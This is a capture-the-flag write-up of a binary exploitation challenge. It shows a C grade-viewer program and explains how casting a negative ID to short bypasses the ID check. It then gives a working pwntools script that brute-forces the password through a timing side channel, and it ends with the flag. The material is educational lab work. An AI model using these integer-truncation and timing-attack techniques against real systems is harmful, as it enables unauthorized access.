extra-credit

Category
Binary Exploitation
Points
330
Tags

So we got a exe and the source code

gradeViewer.c:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <time.h>

#define MAX_LEN 32
#define FLAG_FILE "./flag.txt"
#define FLAG_SIZE 256

const char *SECRET = "[REDACTED]";

void changeGrade() {
    char buf[FLAG_SIZE];
    memset(buf, 0, FLAG_SIZE);
    FILE *f = fopen(FLAG_FILE, "r");
    if (f == NULL) {
        printf("Missing flag file. \n");
    } else {
        fgets(buf, FLAG_SIZE, f);
        printf("\n");
        printf("Whose grade would you like to change?");
        printf("\n");
        write(STDOUT_FILENO, buf, strlen(buf));
        printf("\n");
    }
    exit(0);
}

void accessMemory() {
    struct timespec ts = {.tv_sec = 0, .tv_nsec = 5000000};
    nanosleep(&ts, NULL);
}

void authenticateTeacher() {
    char input[MAX_LEN];
    printf("\n[TEACHER VIEW] Enter your password [a-z, 0-9]:");
    scanf("%31s", input);

    for (int i = 0; i < strlen(SECRET); i++) {
        accessMemory();
        if (input[i] != SECRET[i]) break;
        accessMemory();
    }

    if (strcmp(input, SECRET) == 0) {
        printf("\nAccess granted.\n");
        changeGrade();
    } else {
        printf("\nInvalid password!\n");
    }
}

void showGrade(int id) {
    switch ((short)id) {
        case 1: printf("Phineas: A+\n"); break;
        case 2: printf("Ferb: A\n"); break;
        case 3: printf("Candace: B+\n"); break;
        case 4: printf("Buford: C\n"); break;
        case 5: printf("Baljeet: A+\n"); break;
        case 6: printf("Isabella: A\n"); break;
        case 7: printf("Perry: P\n"); break;
        case 8: printf("Doofenshmirtz: D\n"); break;
        case 9: printf("Jeremy: B\n"); break;
        case 10: printf("Vanessa: A-\n"); break;
        case 0x0BEE:
            printf("\nAccessing teacher view...\n");
            authenticateTeacher();
            break;
        default:
            printf("Unknown student ID.\n");
    }
}

int main() {
    setvbuf(stdin,  NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    setvbuf(stderr, NULL, _IONBF, 0);

    int id;
    printf("Welcome to the Tri-State Grade Viewer\n");
    printf("Enter your student ID: ");

    if (scanf("%d", &id) != 1 || id > 10) {
        printf("Invalid student ID.\n");
        int ch;
        while ((ch = getchar()) != '\n' && ch != EOF);
        exit(0);
    }

    showGrade(id);
    return 0;
}

So in here,

if (scanf("%d", &id) != 1 || id > 10) {
    printf("Invalid student ID.\n");
    // ...
    exit(0);
}

The main function contains a check that only allows IDs up to 10:

// in main()
if (scanf("%d", &id) != 1 || id > 10) {
    printf("Invalid student ID.\n");
    exit(0);
}
showGrade(id);

However, the showGrade(id) function has a hidden entry point for a “teacher view”:

// in showGrade()
switch ((short)id) {
    // ... student cases 1-10 ...
    case 0x0BEE:
        printf("\nAccessing teacher view...\n");
        authenticateTeacher();
        break;

This case 0x0BEE: is our target. It leads to the authenticateTeacher() function, which, if passed, calls changeGrade() to print the flag.

In this case, we can use Integer Overflow, we can calculate this value: $$ X = 0x0BEE - 2^{16} \\ X = 3054 − 65536 \\ X = −62482 $$

then for the password, we can brute force it with this solver

from pwn import *
import string
import time

BINARY_PATH = './gradeViewer'
CHARSET = string.ascii_lowercase + string.digits

password = ""

log.info("Starting exploit for gradeViewer...")

while True:
    best_char = None
    max_time = 0

    for char in CHARSET:
        p = process(BINARY_PATH, level='error')

        p.sendlineafter(b'Enter your student ID: ', b'-62482')
        p.recvuntil(b'Enter your password [a-z, 0-9]:')

        guess = password + char
        start_time = time.time()
        p.sendline(guess.encode())
        output = p.recvall(timeout=0.2)
        end_time = time.time()
        p.close()

        duration = end_time - start_time

        if b"Access granted" in output:
            password = guess
            log.success(f"Password found: {password}")
            try:
                flag = output.split(b'change?\n')[1].strip()
                log.success(f"FLAG: {flag.decode()}")
            except IndexError:
                log.warning("Failed to auto-parse flag. Printing raw output:")
                print(output.decode())
            exit(0)

        if duration > max_time:
            max_time = duration
            best_char = char

    if best_char:
        password += best_char
        log.info(f"Found character: '{best_char}'. Current password: '{password}'")
    else:
        log.error("Failed to find the next character.")
        log.info("Timing attacks can be unstable. Try running the script again.")
        exit(1)

then just input all that we got,

extra-credit Flag: tjctf{th4nk_y0u_f0r_sav1ng_m3y_grade}